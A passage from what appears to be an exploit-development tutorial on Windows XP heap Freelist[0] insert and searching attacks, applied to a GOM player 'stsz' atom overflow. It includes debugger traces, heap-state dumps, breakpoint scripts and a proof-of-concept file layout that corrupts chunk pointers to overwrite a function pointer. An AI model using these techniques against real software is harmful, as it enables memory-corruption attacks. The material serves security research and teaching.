solid; padding-top: 5px\">[+] FreeList[00] at 0x00160178, Expected size: &gt;1016 (&gt;0x3f8), Flink: 0x00165000\n     ChunkPtr: 0x00164FF8, Header: 0x8 bytes, UserPtr: 0x00165000, <strong><span style=\"color: #ffff00\">Flink: 0x41414141, Blink: 0x42424242<\/span><\/strong>, ChunkSize: 0x500 (1280), Usersize: 0x500 (1280) \n     ChunkPtr: 0x00165FF8, Header: 0x8 bytes, UserPtr: 0x00166000, Flink: 0x00167000, Blink: 0x00165000, ChunkSize: 0x600 (1536), Usersize: 0x600 (1536) \n     ChunkPtr: 0x00166FF8, Header: 0x8 bytes, UserPtr: 0x00167000, Flink: 0x00160178, Blink: 0x00166000, ChunkSize: 0x700 (1792), Usersize: 0x700 (1792)<\/pre>\n<p>For the sake of argument, let\u2019s assume that both the Flink and Blink point to addresses with PAGE_READWRITE access (although this is not entirely necessary for the Flink).&#160; Now, let\u2019s imagine that the application queries the heap manager and wishes to free a chunk of 0x400 (1024) bytes located at 0x00164000.&#160; First, 0x400 bytes is just large enough to guarantee that it\u2019ll be freed to Freelist[0].&#160; Second, as 0x400 is of course smaller than our smallest chunk in the list, 0x500, it\u2019ll be inserted at the top of the list.<\/p>\n<p>Now since our Blink is overwritten with the value 0x42424242, the insert function will be tricked into thinking that another chunk exists prior to (in the Freelists) our chunk at 0x001650000.&#160; Because of this, when it inserts itself into the list, it will update the Flink pointer of our non-existent chunk (0x42424242) in order to maintain the doubly linked list.&#160; Also, as part of the valid routine, it will update the Blink of the corrupted chunk to point to the newly inserted chunk.<\/p>\n<p>Looking below, we can see the actual function responsible for writing the UserPtr of our inserted chunk to our arbitrary location (0x42424242).<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">eax=00164000 ebx=00160178 ecx=00165000 edx=42424242 esi=00163FF8 edi=00160000\neip=7c9108f0 esp=0012bcb0 ebp=0012bd6c iopl=0         nv up ei ng nz ac po cy\nntdll!RtlFreeHeap+0x40e\n<strong><span style=\"color: #ffff00\">7c9108ee 8908            mov     dword ptr [eax],ecx  ds:0023:00164000=00050000 ; Write UserPtr of corrupted chunk to new chunk's Flink<\/span><\/strong>\neax=00164000 ebx=00160178 ecx=00165000 edx=42424242 esi=00163FF8 edi=00160000\neip=7c9108f0 esp=0012bcb0 ebp=0012bd6c iopl=0         nv up ei ng nz ac po cy\nntdll!RtlFreeHeap+0x410:\n<strong><span style=\"color: #ffff00\">7c9108f0 895004          mov     dword ptr [eax+4],edx ds:0023:00164004=f00dbaad ; Write corrupted Blink to new chunk's Blink<\/span><\/strong>\neax=00164000 ebx=00160178 ecx=00165000 edx=42424242 esi=00163FF8 edi=00160000\neip=7c9108f3 esp=0012bcb0 ebp=0012bd6c iopl=0         nv up ei ng nz ac po cy\nntdll!RtlFreeHeap+0x413:\n<strong><span style=\"color: #ffff00\">7c9108f3 8902            mov     dword ptr [edx],eax  ds:0023:42424242=baadf00d\t; Write UserPtr of new chunk to arbitrary address (corrupted blink)<\/span><\/strong>\neax=00164000 ebx=00160178 ecx=00165000 edx=42424242 esi=00163FF8 edi=00160000\neip=7c9108f0 esp=0012bcb0 ebp=0012bd6c iopl=0         nv up ei ng nz ac po cy\nntdll!RtlFreeHeap+0x415:\n<strong><span style=\"color: #ffff00\">7c9108f5 894104          mov     dword ptr [ecx+4],eax ds:0023:03208514=006a0db0 ; Update corrupted chunk's Blink with new chunk's UserPtr<\/span><\/strong>\neax=00164000 ebx=00160178 ecx=00165000 edx=42424242 esi=00163FF8 edi=00160000\neip=7c9108f8 esp=0012bcb0 ebp=0012bd6c iopl=0         nv up ei ng nz ac po cy<\/pre>\n<p>Now you might be thinking what good is this?&#160; We have the ability to overwrite an arbitrary location but only with the UserPtr of our inserted chunk.&#160; Well if we can control the contents of our newly inserted free chunk we may be able gain control over the flow of execution by overwriting a function pointer.&#160; In this scenario, the UserPtr of our new chunk would be used to overwrite the function pointer.&#160; Upon calling the function pointer, the UserPtr would be followed and all data which resides in the user-controllable portion of the heap chunk will be executed***.&#160; Furthermore, this attack could also be used to target pointers located within a vtable or Lookaside List Head in order to gain control over execution.<\/p>\n<blockquote>\n<p>It\u2019s important to note that this attack writes the UserPtr of our inserted chunk to an arbitrary location.&#160; As the Flink and Blink both follow the UserPtr, in order to overwrite a function pointer, the assembled opcodes of these addresses must be executable.<\/p>\n<\/blockquote>\n<blockquote>\n<p>It\u2019s also important to note that since we are writing the UserPtr of a freed heap chunk, it will essentially act as a pointer to a pointer (p2p).&#160; This could also be abused in overwrite functions as the Flink will point to our corrupted heap chunk, in turn pointing to user-controllable data that can be overwritten via our initial heap overflow.<\/p>\n<\/blockquote>\n<h5>Application Specific Technique<\/h5>\n<p>With the basics covered, let\u2019s discuss how this tactic might be specifically applied to our GOM vulnerability, let\u2019s first take a look at the structure of our Freelists prior to entering our vulnerable function (GSFU!DllUnregisterServer+0x23550).&#160; In this example, the vulnerable function is using the private heap located at 0x03200000.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">[+] FreeList[00] at 0x03200178, Expected size: &gt;1016 (&gt;0x3f8), <strong><span style=\"color: #ffff00\">Flink: 0x03207150<\/span><\/strong>\n     ChunkPtr: 0x03207148, Header: 0x8 bytes, <strong><span style=\"color: #ffff00\">UserPtr: 0x03207150, Flink: 0x03208108, Blink: 0x03200178<\/span><\/strong>, ChunkSize: 0x6b0 (1712), Usersize: 0x6b0 (1712) \n     ChunkPtr: 0x03208100, Header: 0x8 bytes, UserPtr: 0x03208108, Flink: 0x03205e08, Blink: 0x03207150, ChunkSize: 0xf00 (3840), Usersize: 0xf00 (3840) \n     ChunkPtr: 0x03205e00, Header: 0x8 bytes, UserPtr: 0x03205e08, Flink: 0x03200178, Blink: 0x03208108, ChunkSize: 0x10d8 (4312), Usersize: 0x10cc (4300)<\/pre>\n<p>Here we can see that Freelist[0] has been populated with 3 chunks with the sizes 0x6B0, 0xF00, and 0x10D8 respectively.&#160; The next step is determine what chunks are allocated and freed after entering our vulnerable function and prior to our targeted write instruction.&#160; To determine this, let\u2019s set a breakpoint at the start of our function (GSFU!DllUnregisterServer+0x23550), then once that\u2019s hit, set the following breakpoints.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">bp ntdll!RtlAllocateHeap+0x117 &quot;j (poi(@esp+4)==0x03200000) '.printf \\&quot;RtlAllocateHeap hHEAP 0x%p, size=0x%x, chunk at 0x%p\\\\n\\&quot;, poi(@esp+4), poi(esp+c), eax; g'; 'g';&quot;\nbp ntdll!RtlFreeHeap &quot;j ((poi(esp+4)==0x03200000) &amp; (poi(esp+c)!=0)) '.printf \\&quot;RtlFreeHeap hHeap (0x%p), size=0x%p\\\\n\\&quot;, poi(esp+c), wo(poi(esp+c)-8)*8-8; dc poi(esp+c); .echo; g'; 'g';&quot;\nbp GSFU!DllUnregisterServer+0x236a9<\/pre>\n<p>Now the first 2 breakpoints will output the size and location of allocations and frees, but only for those chunks which belong to the private heap 0x0320000.&#160; Our final breakpoint will halt execution once our targeted write function is hit.&#160; Using our OriginalSeed.mov, our non-mutated version, let\u2019s observe the application\u2019s behavior in our debugger.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">RtlAllocateHeap hHEAP 0x03200000, size=0x100, chunk at 0x03207158\nRtlAllocateHeap hHEAP 0x03200000, size=0x14, chunk at 0x03207260\nRtlAllocateHeap hHEAP 0x03200000, size=0xec, chunk at <strong><span style=\"color: #ffff00\">0x03207280<\/span><\/strong>\nBreakpoint 2 hit\neax=00000000 ebx=000000ec ecx=03207280 edx=000094b5 esi=0320716c edi=03207108\neip=03b34989 esp=0012bdb4 ebp=03207158 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202\nGSFU!DllUnregisterServer+0x236a9:\n03b34989 891481          mov     dword ptr [ecx+eax*4],edx ds:0023:<strong><span style=\"color: #ffff00\">03207280<\/span><\/strong>=00000000<\/pre>\n<p>Excellent.&#160; So here we can see that 3 chunks are allocated prior to write instruction.&#160; The third chunk of course, is where our writes occur.&#160; Earlier during our root cause analysis we were able to determine that we can in fact control the size of this field by manipulating the value of our \u201cNumber of Entries\u201d element.&#160; Now if we were to investigate the contents of the other two chunks after our vulnerable function completed, we would see that the first chunk contains the entire \u201cstsz\u201d atom.&#160; We could also infer this due to the requested allocation size of 0x100 bytes (as our \u201cstsz\u201d atom has it\u2019s size field set to 0x100 as well).&#160; Our second chunk is essentially a vtable containing pointers to various structures used by this function.&#160; This is essentially the same chunk that we targeted during the \u201cArbitrary Write\u201d section above.<\/p>\n<p>So with this we now know that we can control the size of at least 2 of our allocated chunks.&#160; This is good as we\u2019ll need a fair amount of control over our allocations in order to properly manipulate the layout of Freelist[0].&#160; The next step is determine what is freed after our write instruction occurs.&#160; To do so, I\u2019ve deleted the breakpoint on our targeted write.&#160; Also, for brevity I\u2019ve only included the first free.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">RtlFreeHeap hHeap (0x03207158), size=0x00000100\n03207158  00010000 7a737473 00000000 00000000  ....stsz........\n03207168  3b000000 b5940000 d4520000 a8520000  ...;......R...R.\n03207178  2c520000 7c520000 80520000 a4520000  ..R,..R|..R...R.\n03207188  28530000 18530000 94520000 20530000  ..S(..S...R...S \n03207198  ac520000 28530000 e0510000 d0520000  ..R...S(..Q...R.\n032071a8  88520000 e0520000 94520000 18530000  ..R...R...R...S.\n032071b8  14520000 14520000 5c520000 34520000  ..R...R...R\\..R4\n032071c8  08520000 d4510000 84510000 d8510000  ..R...Q...Q...Q.<\/pre>\n<p>Perfect!&#160; Here we can see that the first chunk to be freed is the chunk containing the entire \u201cstsz\u201d.&#160; As we control the size of this chunk, we can also control where it\u2019s linked.&#160; Now, it\u2019s important to note that this isn\u2019t entirely necessary for the purpose of exploitation, however it is beneficial if we can control what and when our chunk is inserted back into Freelist[0] rather than blindly waiting for the application to do it for us.<\/p>\n<p>So with that, let\u2019s put it all together.&#160; Let\u2019s take one more look at the structure of Freelist[0] prior to entering our vulnerable function.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">[+] FreeList[00] at 0x03200178, Expected size: &gt;1016 (&gt;0x3f8), Flink: 0x03207150\n     ChunkPtr: 0x03207148, Header: 0x8 bytes, UserPtr: 0x03207150, Flink: 0x03208108, Blink: 0x03200178, ChunkSize: 0x6b0 (1712), Usersize: 0x6b0 (1712) \n     ChunkPtr: 0x03208100, Header: 0x8 bytes, UserPtr: 0x03208108, Flink: 0x03205e08, Blink: 0x03207150, ChunkSize: 0xf00 (3840), Usersize: 0xf00 (3840) \n     ChunkPtr: 0x03205e00, Header: 0x8 bytes, UserPtr: 0x03205e08, Flink: 0x03200178, Blink: 0x03208108, ChunkSize: 0x10d8 (4312), Usersize: 0x10cc (4300)<\/pre>\n<p>Again, we can see that the first chunk has a size of 0x6B0 bytes.&#160; Now, the goal here is to have the chunk where our write instructions, or where our overflow begins, placed prior to a chunk on Freelist[0] so that we can overwrite the metadata of one of these chunks.&#160; Then, we also want to ensure that our \u201cstsz\u201d chunk, upon being freed, will be inserted into Freelist[0].&#160; Now we know that Freelist[0] manages all chunks containing a size of 0x400 (1024) bytes or larger.&#160; So to ensure that our \u201cstsz\u201d chunk is freed to Freelist[0], we must make it at least 400 bytes.&#160; In this example, I\u2019ve chosen to set the \u201cstsz\u201d atom to 0x500 bytes.&#160; Next, in order to place the chunk containing our sample size table at a location which will allows us to overwrite a Freelist[0] chunk header, I\u2019ve chosen to set the size to 0x400 bytes (0x80000100 * 4).<\/p>\n<p>This might not make sense at first, however consider this.&#160; Our first allocation, used to store our entire \u201cstsz\u201d atom, will request a 0x500 byte chunk from Freelist[0].&#160; This will leave our Freelist structure looking as follows:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">[+] FreeList[00] at 0x03200178, Expected size: &gt;1016 (&gt;0x3f8)\n     ChunkPtr: 0x03208100, Header: 0x8 bytes, UserPtr: 0x03208108, Flink: 0x03205e08, Blink: 0x03200178, ChunkSize: 0xf00 (3840), Usersize: 0xf00 (3840) \n     ChunkPtr: 0x03205e00, Header: 0x8 bytes, UserPtr: 0x03205e08, Flink: 0x03200178, Blink: 0x03208108, ChunkSize: 0x10d8 (4312), Usersize: 0x10cc (4300) \n[+] FreeList[53] at 0x03200320, Expected size: 0x1a8 (424)\n     ChunkPtr: 0x03207650, Header: 0x8 bytes, UserPtr: 0x03207658, Flink: 0x03200320, Blink: 0x03200320, ChunkSize: 0x1a8 (424), Usersize: 0x1a8 (424)<\/pre>\n<p>What\u2019s this?&#160; We can see a that now we only have 2 entries in Freelist[0] as well as a new entry in Freelist[53].&#160; The reason for this is because our first chunk in Freelist[0] had a size of 0x6B0 bytes.&#160; This is larger than our allocation request of 0x500 bytes.&#160; This causes our first chunk to be split.&#160; First, our 0x500 byte chunk will be returned to the application.&#160; Then, as the remainder (0x1B0) is no longer big enough to meet the requirements of Freelist[0], it will be moved and reclassified into Freelist[53].<\/p>\n<p>Next, the application will receive our allocation request for 0x400 bytes (our sample size table).&#160; The heap manager will then look at the first chunk belonging to Freelist[0], which is 0xF00 bytes.&#160; This chunk is large enough, and as with our previous allocation, the chunk will be split and 0x400 bytes will be returned to the application.&#160; The remainder, 0xB00 is large enough to remain on Freelist[0].&#160; This will leave our Freelist structure looking as follows:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">[+] FreeList[00] at 0x03200178, Expected size: &gt;1016 (&gt;0x3f8)\n     ChunkPtr: 0x03208508, Header: 0x8 bytes, UserPtr: 0x03208510, Flink: 0x03205e08, Blink: 0x03200178, ChunkSize: 0xaf8 (2808), Usersize: 0xaf8 (2808) \n     ChunkPtr: 0x03205e00, Header: 0x8 bytes, UserPtr: 0x03205e08, Flink: 0x03200178, Blink: 0x03208510, ChunkSize: 0x10d8 (4312), Usersize: 0x10cc (4300) \n[+] FreeList[49] at 0x03200300, Expected size: 0x188 (392)\n     ChunkPtr: 0x03207670, Header: 0x8 bytes, UserPtr: 0x03207678, Flink: 0x03200300, Blink: 0x03200300, ChunkSize: 0x188 (392), Usersize: 0x188 (392)<\/pre>\n<p>Therefore, our writes will begin at 0x0320810.&#160; After 0x40C bytes, the Flink and Blink of the first chunk belonging to Freelist[0] will be overwritten (0x03208510).&#160; Next, our \u201cstsz\u201d atom which is 0x500 bytes in length, will be freed, and inserted in to Freelist[0].&#160; As 0x500 is currently smaller than any other chunk belonging to Freelist[0], it will be inserted at the top of the list, just prior to our overwritten chunk.&#160; This will trigger ntdll!RtlFreeHeap, during the insert process, to write our chunk\u2019s UserPtr (0x03208510) to an arbitrary location specified by our Blink pointer.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">eax=03207150 ebx=03200178 ecx=03208510 edx=006a0db0 esi=03207148 edi=03200000\neip=7c9108ee esp=0012bcb0 ebp=0012bd6c iopl=0         nv up ei ng nz ac po cy\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200293\nntdll!RtlFreeHeap+0x40e:\n<strong><span style=\"color: #ffff00\">7c9108ee 8908            mov     dword ptr [eax],ecx  ds:0023:03207150=00050000 ; Write UserPtr of corrupted chunk to new chunk's Flink<\/span><\/strong>\neax=03207150 ebx=03200178 ecx=03208510 edx=006a0db0 esi=03207148 edi=03200000\neip=7c9108f0 esp=0012bcb0 ebp=0012bd6c iopl=0         nv up ei ng nz ac po cy\nntdll!RtlFreeHeap+0x410:\n<strong><span style=\"color: #ffff00\">7c9108f0 895004          mov     dword ptr [eax+4],edx ds:0023:03207154=7a737473 ; Write corrupted Blink to new chunk's Blink<\/span><\/strong>\neax=03207150 ebx=03200178 ecx=03208510 edx=006a0db0 esi=03207148 edi=03200000\neip=7c9108f3 esp=0012bcb0 ebp=0012bd6c iopl=0         nv up ei ng nz ac po cy\nntdll!RtlFreeHeap+0x413:\n<strong><span style=\"color: #ffff00\">7c9108f3 8902            mov     dword ptr [edx],eax  ds:0023:006a0db0=7e42ce12\t; Write UserPtr of new chunk to arbitrary address (corrupted blink)<\/span><\/strong>\neax=03207150 ebx=03200178 ecx=03208510 edx=006a0db0 esi=03207148 edi=03200000\neip=7c9108f5 esp=0012bcb0 ebp=0012bd6c iopl=0         nv up ei ng nz ac po cy\nntdll!RtlFreeHeap+0x415:\n<strong><span style=\"color: #ffff00\">7c9108f5 894104          mov     dword ptr [ecx+4],eax ds:0023:03208514=006a0db0 ; Update corrupted chunk's Blink with new chunk's UserPtr<\/span><\/strong>\neax=03207150 ebx=03200178 ecx=03208510 edx=006a0db0 esi=03207148 edi=03200000\neip=7c9108f8 esp=0012bcb0 ebp=0012bd6c iopl=0         nv up ei ng nz ac po cy<\/pre>\n<p>To demonstrate this, I\u2019ve included a proof of concept which can be found here.&#160; This sample will overwrite the function pointer located at 0x006A0DB0*** with the UserPtr of the overwritten chunk.&#160; This sample will NOT gain code execution.&#160; I have simply provided it to demonstrate the use of this attack.&#160; A breakdown of the \u201cstsz\u201d atom layout can be found below:<\/p>\n<blockquote>\n<p>Why 0x006A0DB0?&#160; I simply chose the first writable function pointer in a GOM specific module that wasn\u2019t rebased.&#160; As far as I know, this function pointer is not called after the execution of our semi-arbitrary write.&#160; Again, it is only used to demonstrate the ability to write the UserPtr of our inserted chunk at an arbitrary location.<\/p>\n<\/blockquote>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\"><strong><span style=\"color: #ffff00\">Size:  0x00000500 (Causes allocation of 0x500 bytes)<\/span><\/strong>\nType:  0x7374737A (ASCII stsz) \nVersion:  0x00 \nFlags:  0x000000 \nSample Size: 0x00000000\n<strong><span style=\"color: #ffff00\">Number of Entries: 0x8000000100 (Causes allocation of 0x400 bytes)<\/span><\/strong>\nSample Size Table(1):  0x000094B5\nSample Size Table(2):  0x000052D4\n...\n# Flink - File offset: 0x172B, Value: 0x41414141\n# Blink - File offset: 0x172F, Value: 0x006A0DB0<\/pre>\n<blockquote>\n<p>Please note:&#160; This proof of concept will trigger an access violation during a later allocation as the Flink has been set to a non-existent address (0x41414141).&#160; Access violations due to heap corruption can be delayed by setting this to an address that is marked as READ_WRITE.<\/p>\n<\/blockquote>\n<p>After the \u201cstsz\u201d chunk has been inserted, we can see our newly written pointer at 0x006A0DB0.&#160; Following that pointer, leads us back to our overwritten chunk.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0:000&gt; dc 0x006A0DB0 L8\n006a0db0  <strong><span style=\"color: #ffff00\">03207150<\/span><\/strong> 00000001 0000c1b4 0000c1b3  Pq .............\n006a0dc0  0000c1b2 0000c1b1 0000c1b0 0000c1af  ................\n\n0:000&gt; dc 0x03207150 LC\n03207150  03208510 006a0db0 00000000 00000000  .. ...j.........\n03207160  00010080 <strong><span style=\"color: #ffff00\">41306141 61413161 33614132  ....Aa0Aa1Aa2Aa3 <\/span><\/strong>\n03207170  <strong><span style=\"color: #ffff00\">41346141 61413561 37614136 41386141  Aa4Aa5Aa6Aa7Aa8A<\/span><\/strong><\/pre>\n<p>And if we were to look at the assembled opcodes, we can see that they do not represent valid assembly that won\u2019t trigger an access violation. Using the current memory layout, poi(ebp+0x0DB00322) will point to a non-existent address, thus triggering an AV. If we had the ability to manipulate the current memory layout using heap spraying techniques, we may be able to overcome this issue, however, we do not currently have that luxury.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0:000&gt; u 03227150 \n<strong><span style=\"color: #ffff00\">03227150 10852203b00d    adc     byte ptr [ebp+0DB00322h],al # This will likely trigger an access violation<\/span><\/strong>\n03227156 6a00            push    0\n03227158 0000            add     byte ptr [eax],al\n0322715a 0000            add     byte ptr [eax],al\n0322715c 0000            add     byte ptr [eax],al\n0322715e 0000            add     byte ptr [eax],al\n03227160 800001          add     byte ptr [eax],1\n03227163 004161          add     byte ptr [ecx+61h],al<\/pre>\n<p>&#160;<\/p>\n<h5>Why Not?<\/h5>\n<p>Before moving on to the next generic exploitation technique, I\u2019d like to leave you with a few closing news in regards to why I didn\u2019t choose this method of exploitation.<\/p>\n<p>First of all, exploitation occurs in a private heap.&#160; The addresses of which are unpredictable.&#160; Because of this, gaining control over the flow of execution would be unreliable as we cannot be certain the the Flink and Blink will be assembled as executable opcodes.&#160; Furthermore, several techniques rely on overwriting information within the Heap Base or Lookaside List entries.&#160; Fellow Corelan member, mr_me documented one such attack in his tutorial <span style=\"color: #ffffff\"><span style=\"color: #ffffff\"><a href=\"https:\/\/web.archive.org\/web\/20150219143118\/http:\/\/net-ninja.net\/article\/2011\/Dec\/28\/heap-overflows-for-humans-102-5\/\" target=\"_blank\" rel=\"noopener\">Heap Overflows For Humans 102.5<\/a>.&#160; <\/span><\/span><\/p>\n<p>Unfortunately, as the base address of private heaps will likely change between execution, the reliability of this technique is minimal (in this particular instance).&#160; I do believe that it is possible to use the Freelist[0] Insert attack in order to gain code execution, however, great strides must be made in order to make the heap state far more deterministic, or the location of a semi-static lookup table must be identified.&#160; With this, I leave the rest up to you.&#160; Good luck!<\/p>\n<p>&#160;<\/p>\n<h4>Freelist[0] Searching Attack<\/h4>\n<h5>Overview<\/h5>\n<p>The final tactic we\u2019ll be discussing is the Freelist[0] Searching attack.&#160; This is another attack devised by Brett Moore and first disclosed publicly in his 2005 paper, Exploiting Freelist[0] on XPSP2.&#160; This attack involves, as the name would suggest, the manipulation of heap chunks during an allocation search of the dedicated Freelist.&#160; More specifically, when an allocation request is received, particularly one destined for Freelist[0] (greater than 1024 bytes), the heap manager will first start with the smallest chunk and continuing traversing the list until a chunk of the appropriate size has been identified.&#160; This attack specifically relies on manipulating the Flink pointer of a Freelist[0] heap chunk so that it points at a fake heap chunk with the same size value (+8 bytes to account for the chunk header) as that of the allocation request.&#160; The heap manager will then attempt to unlink this fake chunk.&#160; Now although the fake chunk will fail the safe unlink check (most of the time* \u2013 more on this in a bit), the pointer of the chunk will still be returned to the application.&#160; If an attacker can control the contents of this allocation, they can essentially perform an n-byte overwrite similar to the Lookaside List Overwrite technique.&#160; To better explain this, let\u2019s take a look at the following example:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">[+] FreeList[00] at 0x00160178, Expected size: &gt;1016 (&gt;0x3f8), Flink: 0x00165000, Blink: 0x00167000\n     ChunkPtr: 0x00164FF8, Header: 0x8 bytes, UserPtr: 0x00165000, Flink: 0x00166000, Blink: 0x00160178, ChunkSize: 0x555 (1365), Usersize: 0x555 (1365) \n     ChunkPtr: 0x00165FF8, Header: 0x8 bytes, UserPtr: 0x00166000, Flink: 0x00167000, Blink: 0x00165000, ChunkSize: 0xAAA (2730), Usersize: 0xAAA (2730) \n     ChunkPtr: 0x00166FF8, Header: 0x8 bytes, UserPtr: 0x00167000, Flink: 0x00160178, Blink: 0x00166000, ChunkSize: 0x1000 (4096), Usersize: 0x1000 (4096)<\/pre>\n<p>Here we can see that Freelist[0] has been populated with three entries, with sizes of 0x555, 0xAAA, and 0x1000 bytes respectively.&#160; Now if a buffer overflow were to occur into our first chunk, we would of course have the ability to overwrite the chunk header.&#160; With that, let\u2019s imagine that the chunk header would be overwritten in such a way that the size field is set to 0x8 and that the Flink, for the time being is set to 0x41414141.&#160; This would leave our structure looking as follows:<\/p>\n<blockquote>\n<p>Please note, that both the Size and PrevSize fields within a heap chunk\u2019s metadata use blocks and not bytes.&#160; This means that if a size field has a value of 0x0001, this would represent 0x8 bytes as each block is 0x8 bytes.&#160; Additionally, a size value of 0x0002 represents 0x16 bytes and so on.<\/p>\n<\/blockquote>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">[+] FreeList[00] at 0x00160178, Expected size: &gt;1016 (&gt;0x3f8), Flink: 0x00165000, Blink: 0x00167000\n     ChunkPtr: 0x00164FF8, Header: 0x8 bytes, UserPtr: 0x00165000, Flink: 0x41414141, Blink: 0x00160178, ChunkSize: 0x8 (8), Usersize: 0x8 (8) \n     ChunkPtr: 0x00165FF8, Header: 0x8 bytes, UserPtr: 0x00166000, Flink: 0x00167000, Blink: 0x00165000, ChunkSize: 0xAAA (2730), Usersize: 0xAAA (2730)\n     ChunkPtr: 0x00166FF8, Header: 0x8 bytes, UserPtr: 0x00167000, Flink: 0x00160178, Blink: 0x00166000, ChunkSize: 0x1000 (4096), Usersize: 0x1000 (4096)<\/pre>\n<p>Please note, as with our previously described techniques, in order for this to work the address we overwrite Flink with must be valid and have READWRITE access.&#160; Therefore, we\u2019ll need to replace our value of 0x41414141 with a pointer that is valid and exists at a region with READWRITE access.<\/p>\n<p>Furthermore, I mentioned that the address we use to overwrite our Flink pointer must also point to a location that represents a fake (yet valid) valid heap chunk.&#160; All this really means is that 8 bytes prior to this location exist and are readable and that 8 bytes after this address contain 2 readable pointers which would represent the Flink and Blink of our fake chunk.<\/p>\n<blockquote>\n<p>There are some slight caveats to this description, but for now don\u2019t worry about it as we\u2019ll discuss them later in this section.<\/p>\n<\/blockquote>\n<p>A semi-visual representation of this \u201cfake\u201d heap chunk can be found below:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">Self Size: Uint2B  -  Size of current chunk <strong><span style=\"color: #ffff00\"># Must later match our requested allocation size (+1)<\/span><\/strong>\nPrevious Size: Uint2B  -  Size of previous Chunk # This field can be any value\nChunk Cookie: Uint1B  -  Security Cookie # This field can be any value\nChunk Flag: Uint1B # This field can be any value\nUnused: Uint1B # This field can be any value\nSegment Index: Uint1B # This field can be any value\nFlink: Ptr32  -  Pointer to next chunk in current list <strong><span style=\"color: #ffff00\"># This value must be a valid pointer with READWRITE access<\/span><\/strong>\nBlink: Ptr32  -  Pointer to prior chunk in current list <strong><span style=\"color: #ffff00\"># This value must be a valid pointer with READWRITE access<\/span><\/strong><\/pre>\n<p>Now the major obstacle we must overcome when trying to apply this type of attack is to identify fake heap chunks that are located in a region where, triggering an overwrite will be useful for us.&#160; The two options that we will discuss are writable function pointers and pointers located in the _HEAP structure.<\/p>\n<p>The reasoning behind using writable function pointers is obvious as successful exploitation of this issue will cause the allocation request to return a pointer to our writable function pointer.&#160; Then, as long as we are able to control the control the contents of the function which requested this allocation, we will be able to overwrite the function pointer with an arbitrary value of our choosing.&#160; Therefore, gaining control over the instruction pointer.<\/p>\n<p>The reasoning behind overwriting portions of the _HEAP structure, however, are not so clear.&#160; To explain, I\u2019d like to reiterate a concept discussed in John McDonald and Chris Valasek\u2019s 2009 paper, <a href=\"https:\/\/www.blackhat.com\/presentations\/bh-usa-09\/MCDONALD\/BHUSA09-McDonald-WindowsHeap-PAPER.pdf\" target=\"_blank\" rel=\"noopener\">Practical Windows XP\/2003 Heap Exploitation<\/a>.&#160; In their paper, they discuss a method of gaining control over the instruction pointer by overwriting the CommitRoutine pointer located at offset +0x57C in the heap base (_HEAP).&#160; This pointer is called by the heap manager when an allocation request is received that is larger than what is available and the heap 